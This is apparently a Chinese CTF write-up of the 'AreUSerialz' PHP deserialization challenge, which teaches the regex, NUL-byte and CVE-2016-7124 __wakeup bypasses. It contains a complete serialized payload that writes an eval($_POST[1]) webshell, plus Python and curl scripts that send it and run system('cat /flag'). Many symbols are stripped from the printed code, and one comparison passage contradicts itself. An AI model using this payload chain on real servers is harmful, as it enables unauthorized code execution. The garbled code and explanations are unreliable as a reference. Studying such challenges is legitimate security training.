PHP反序列化实战:AreUSerialz题目中的绕过技巧全解析 很多人第一次碰反序列化题都会觉得它像“字符串拼接 魔法方法调用”的玄学。这次我复盘的是某竞赛平台上的一道经典题AreUSerialz题名本身就在玩谐音梗“Are you serial?”——你会序列化吗这道题最大的价值不是最后拿到 flag而是把 PHP 反序列化最常见的四个考点串在了一起入口分析、魔术方法触发链、正则过滤绕过、属性修饰符导致的序列化格式差异。做完这一道很多反序列化题的套路就算入门了。如果你正准备刷 CTF 的 Web 方向或者在工作中遇到unserialize的用户输入这篇文章都值得花十分钟看完。我会从审计源码开始一直讲到构造 payload 拿到 shell中间每一次卡住都是踩过的真实坑不是教科书式的“直接给答案”。1. 从入口开始题目暴露出来的代码长什么样1.1 唯一的交互入口是 GET 参数 str先说一下拿到题目的第一眼。页面没有任何花哨的功能直接就是一段 PHP 源码高亮输出说明题目环境没有关闭highlight_file或者直接用了highlight_file(__FILE__)来展示代码。CTF 里这种设计很常见等于白送源码审计机会所以别一上来就到处扫目录先老老实实读代码。我对照公开题解和常见环境还原了一份核心逻辑大致是这样的?php error_reporting(0); class FileHandler { protected $op; protected $filename; protected $content; public function __construct() { $this-op 1; $this-filename /tmp/a.txt; $this-content hello; } public function __wakeup() { $this-op 1; } public function __destruct() { if ($this-op 2) { file_put_contents($this-filename, $this-content); } else { file_get_contents($this-filename); } } } if (isset($_GET[str])) { $str (string) $_GET[str]; if (preg_match(/[oc]:\d:/i, $str)) { die(stop hacking!); } else { unserialize($str); } } else { highlight_file(__FILE__); }整个程序的主流程非常短接收str参数做一次正则检查然后调用unserialize。没有数据库、没有模板渲染、没有其他路由所以攻击面非常集中——就是反序列化本身。很多新手在这里有个误区觉得没有直接可见的输出就等于没有漏洞其实unserialize的返回值即使没有被使用对象依然会在脚本生命周期结束时被析构析构函数照样执行这就是反序列化题的通用“触发时机”。1.2 FileHandler 类的三个属性与三个魔术方法这个FileHandler类一共定义了三个属性op、filename、content以及三个魔术方法__construct、__wakeup、__destruct。属性访问级别反序列化时的控制能力opprotected决定走写文件分支还是读文件分支filenameprotected写入目标路径或读取路径contentprotected写入文件的内容再看三个魔术方法的分工方法触发时机作用__construct新实例化对象时初始化默认值__wakeupunserialize还原对象时强制把op重置为 1__destruct对象销毁时根据op决定写文件还是读文件关键逻辑集中在__destructif ($this-op 2) { file_put_contents($this-filename, $this-content); } else { file_get_contents($this-filename); }如果op严格等于整数2就调用file_put_contents把content写入filename指定的文件。否则调用file_get_contents读取filename。到这里攻击目标就很清晰了让op为整数 2让filename指向一个可访问的 PHP 文件路径让content放上一段 PHP 代码配合写入操作就能直接 getshell。但实际操作的时候有三个拦路虎一个比一个隐蔽。2. 三个拦路虎正则过滤、属性修饰符、wakeup 篡改2.1 第一个坑正则把 O 开头的序列化拦住了如果直接照背的 payload 打过去比如构造O:11:FileHandler:3:{...}第一关就过不去。问题出在入口的正则preg_match(/[oc]:\d:/i, $str)这个正则的目的是匹配序列化对象O或者实现了Serializable接口的类C的起始标记比如O:11:或者C:5:。i修饰符让它不区分大小写所以o:11:也会被拦。我一开始直接在 URL 里传O:11:FileHandler:...页面直接返回stop hacking!。这时候才意识到常规的序列化字符串已经不能用了。绕过方式非常经典把O:改成O:。也就是写成O:11:FileHandler:3:{...}因为正则要求冒号后面必须紧跟数字号打断了匹配所以preg_match直接放行。而 PHP 的unserialize解析器对号很宽容会把11按整数 11 解析。这个技巧在反序列化题里出现频率极高本质上利用了“正则判断”和“PHP 解析器”对输入格式理解不一致的差异。很多人在这里栽跟头是因为想当然地认为unserialize只接受标准serialize()输出实际上它远比你想象的更宽容。2.2 第二个坑protected 属性带不可见字符代码里三个属性都是protected这在反序列化的时候会带来一个隐藏的坑serialize()输出中protected 属性的键名不是直接写属性名而是会在前面拼上\0*\0。比如protected $op序列化后的键名是\0*\0op其中\0是一个真正的 NUL 字节也就是 ASCII 0。整个键名长度是 5 个字符而不是 2 个。所以标准序列化字符串长这样O:11:FileHandler:3:{s:5:\0*\0op;i:1;s:11:\0*\0filename;s:9:/tmp/a.txt;s:10:\0*\0content;s:5:hello;}注意看s:5和s:11这个长度是把\0*\0前缀算进去的。如果自己在网上找了在线序列化工具或者手动拼接 payload很容易忽略这个前缀导致属性名长度对不上反序列化直接失败。更麻烦的是在 URL 里传参时\0这种不可见字符不能直接粘贴必须进行 URL 编码写成%00。也就是说\0*\0op在 URL 里要写成%00%2A%00op。我在最初几次尝试时直接把serialize()的原始输出复制到了 URL 里结果被各种终端和浏览器截断浪费了不少时间。正确做法是先把 payload 做 URL 编码再发送请求。2.3 第三个坑__wakeup 强制重置 op就算前面两个坑都过了还会遇到最致命的一个unserialize还原对象时会自动调用__wakeup()而这里面的逻辑是public function __wakeup() { $this-op 1; }也就是说不管 payload 里op设置成什么反序列化之后都会变成整数 1于是__destruct只能走file_get_contents分支没法写文件。这时候就需要用到 CVE-2016-7124 的经典绕过手法在序列化字符串中把声明的属性数量改得比实际属性数量多。比如原来的对象有 3 个属性O:11:FileHandler:3:{...}改成O:11:FileHandler:4:{...}当 PHP 反序列化时发现属性数量与实际值不符就会跳过__wakeup()的调用。这个方法表面上是“数量差一”本质是利用了旧版本 PHP 中的一个逻辑漏洞。CTF 的大部分容器环境都是用老版本 PHP 配置的所以这种绕过方式在题目里非常有效。不过要注意这个方法有版本条件PHP 7.4.0 之前的版本都受影响。如果在真实项目的代码审计里遇到第一反应应该是确认目标环境的 PHP 版本不要默认可以用。3. 手工拼 payload 并完成利用3.1 本地生成序列化串三个坑都摸清了接下来就是最快乐的构造环节。我习惯先在本地用 PHP 生成标准序列化字符串免得手算属性名长度出错。?php class FileHandler { protected $op 2; protected $filename shell.php; protected $content ?php eval($_POST[1]);?; } echo serialize(new FileHandler());注意几下几个细节本地类和目标类的类名、属性名、属性数量必须完全一致否则反序列化结果不可控。webshell 我选了最简单的?php eval($_POST[1]);?没有任何双引号和反斜杠避免在序列化字符串里产生额外的转义困扰。content属性长度是 25这个值可以直接用strlen验证不需要手数。输出结果类似O:11:FileHandler:3:{s:5:\0*\0op;i:2;s:11:\0*\0filename;s:9:shell.php;s:10:\0*\0content;s:25:?php eval($_POST[1]);?;}拿到这个原始串之后要手动做两处修改O:11改成O:11绕过正则。属性数量3改成4绕过__wakeup。改完就是这样O:11:FileHandler:4:{s:5:\0*\0op;i:2;s:11:\0*\0filename;s:9:shell.php;s:10:\0*\0content;s:25:?php eval($_POST[1]);?;}这里有个经验\0在大部分终端里不会被直接显示复制的时候容易丢字节。我通常直接用 Python 脚本构造 payload 并做 URL 编码一步到位而不是在文本编辑器里肉眼操作。from urllib.parse import quote payload bO:11:FileHandler:4:{s:5:\x00*\x00op;i:2;s:11:\x00*\x00filename;s:9:shell.php;s:10:\x00*\x00content;s:25:?php eval($_POST[1]);?;} print(quote(payload, safe))在 Python 的字节串里\x00就是真实的 NUL 字节这样能保证%00被正确编码。3.2 从 payload 到请求的细节编码完成后得到类似这样的最终 URLhttp://target/?strO%3A%2B11%3A%22FileHandler%22%3A4%3A%7Bs%3A5%3A%22%00%2A%00op%22%3Bi%3A2%3Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A10%3A%22%00%2A%00content%22%3Bs%3A25%3A%22%3C%3Fphp%40eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D我一般直接用 Python 的requests库发送避免浏览器各种自动编码导致 payload 变形import requests base_url http://target/ payload bO:11:FileHandler:4:{s:5:\x00*\x00op;i:2;s:11:\x00*\x00filename;s:9:shell.php;s:10:\x00*\x00content;s:25:?php eval($_POST[1]);?;} url base_url ?str quote(payload, safe) resp requests.get(url) print(resp.status_code) print(resp.text)发送请求后服务端会反序列化对象__destruct在请求结束时触发把shell.php写到 web 根目录。这是为什么推荐用requests.get而不是浏览器直接访问——某些浏览器会智能解码或者截断超长 URL导致 payload 不完整。提示unserialize触发__destruct的时机并不一定在unserialize函数调用的那一行而是在整个请求结束后的对象销毁阶段。所以发完 GET 请求后不要急着看响应先去访问一下写入的shell.php是否存在。3.3 验证与拿 flag先请求一次shell.php如果服务器返回了 200 且页面内容里没有报错说明写文件成功。然后用 POST 方式传递1system(cat /flag);或者1phpinfo();验证代码执行能力curl -X POST http://target/shell.php -d 1system(cat /flag);我这里用一个常见的验证命令链import requests shell_url http://target/shell.php resp requests.post(shell_url, data{1: system(cat /flag);}) print(resp.text)如果顺利响应里就是 flag 内容。如果遇到 403 或者 404大概率是以下两种情况filename写成了绝对路径但当前 web 根目录不在那个路径下写入文件落错了位置。写入时被 WAF 或者file_put_contents的文件扩展名限制拦截了。这时候可以把filename改成/var/www/html/shell.php这类绝对路径再试但前提是知道 web 根目录的真实位置。这道题的环境比较简单shell.php直接写在当前工作目录请求http://target/shell.php就能访问到。4. 复盘把这道题放到反序列化题的通用解法里4.1 反序列化题的解题五步做完这道题我最大的感受是反序列化题看起来千变万化但只要拆开看骨架就那么几条。我把这套题的解题链路整理成五个步骤后面遇到同类型题目可以直接套用找入口找到哪个用户输入最终被传到了unserialize这是攻击面存在的前提。AreUSerialz 的入口就是$_GET[str]。找魔术方法确认目标类里有哪些__construct、__wakeup、__destruct、__toString、__call等魔法方法逐个梳理触发条件和行为。重点看有没有file_get_contents、file_put_contents、eval、system这类危险函数。找可利用的属性确认哪些属性可以被控制哪些属性会被魔术方法强制修改。这道题就是op会被__wakeup强制设为 1。构造 POP 链手动拼出序列化字符串让魔术方法按预期路径执行。注意属性可见性、属性名长度、类名长度等格式细节。绕过过滤根据入口的正则或黑名单调整 payload 的写法。AreUSerialz 这里就是O:改O:属性数量改大绕过__wakeup。五个步骤按顺序走下来一般都能找到能做文章的点。最难的不是第五步的绕过而是第三步到第四步之间对“哪些值可控、哪些值会被覆盖”的判断。一旦理解了三件事unserialize会触发哪些方法、对象销毁时机在哪、属性值如何被重构很多题目就通了一半。4.2 常见过滤和绕过手段对照表把这道题积累的绕过思路放得更大一点反序列化题目中常见的过滤手法和对应的绕过方式大致可以整理成这张表过滤方式攻击路径绕过思路拦截O:开头的对象标记无法直接反序列化对象使用O:数字写法利用正则与解析器的解析差异拦截C:开头的类标记无法直接使用自定义序列化类同样用号或寻找可用原生类拦截__wakeup后的目标方法无法触发 POP 链利用 CVE-2016-7124 修改属性数量跳过__wakeup拦截exec、system等危险函数无法执行系统命令用file_put_contents先写 shell再用 webshell 执行命令限制反序列化的类名只能反序列化固定类找出题目中已有的可利用类构造跨类 POP 链反序列化前强制json_decode类型被转换、属性无法还原分析输入格式尽量构造可被 JSON 还原的类型结构这个表不是标准答案但足够应付大部分入门到中级的 PHP 反序列化题。值得注意的是很多过滤只针对标准的序列化格式而 PHP 的unserialize解析器在读取数字长度时接受号在读取键名时接受超长后缀这些都是历史版本遗留行为导致的解析宽松。碰到正则过滤先别慌试着从解析器的宽容度出发找差异往往比苦想绕过新姿势更快。4.3 实战中容易忽略的细节最后把这次解题过程中踩到的几个容易被忽略的细节集中说一下这些都是代码审计和实际调试中很影响效率的点。第一属性可见性决定序列化格式必须在本地模拟一致。public属性序列化后的键名就是属性名本身protected要带\0*\0前缀private要带\0类名\0前缀。如果题目类用的是private你本地写public去构造反序列化后的属性值不一定能成功关联。最快的办法就是直接把目标类的源码复制到本地改属性值用它自己的serialize()生成 payload。第二严格比较和宽松比较是两种完全不同的利用思路。同时要求类型相等所以op必须传整数2如果是字符串2也能通过。这种细节直接决定你在序列化字符串里写i:2还是s:1:2。很多新手想当然用字符串去试严格比较结果发现走了完全不同的分支。第三注意反序列化后方法的触发时机和请求生命周期。__destruct一般发生在请求结束或者对象引用计数归零时也就是响应发送的前后。所以这个利用的效果常常不是“在同一个响应里直接看到结果”而是“下一次请求看到写入的文件”。排查的时候要留意不要盯着第一次请求的响应不放。第四本地和靶机的 PHP 版本差异可能直接影响绕过条件。比如 CVE-2016-7124 在 PHP 7.4.0 之后被修复如果目标环境是 PHP 8这条路直接走不通。遇到这类情况就要回头找别的入口比如原生类反序列化、phar反序列化或者重新审视代码里有没有更可控的魔术方法。最后再分享一个习惯。我现在遇到反序列化题第一件事不是手写 payload而是先在本地起一个和题目环境版本接近的 PHP 容器把目标类原封不动放进去用serialize()生成标准 payload再改绕过参数用本地环境先完整跑一遍最后才打远程。这样能把格式错误、长度错误、编码错误全部消化在本地远程一次成功率高很多。这个方法对新手特别友好等于给自己加了一个“反序列化题的本地实操沙盒”多试几次你大概就能理解那些 payload 里的\0和是怎么来的了。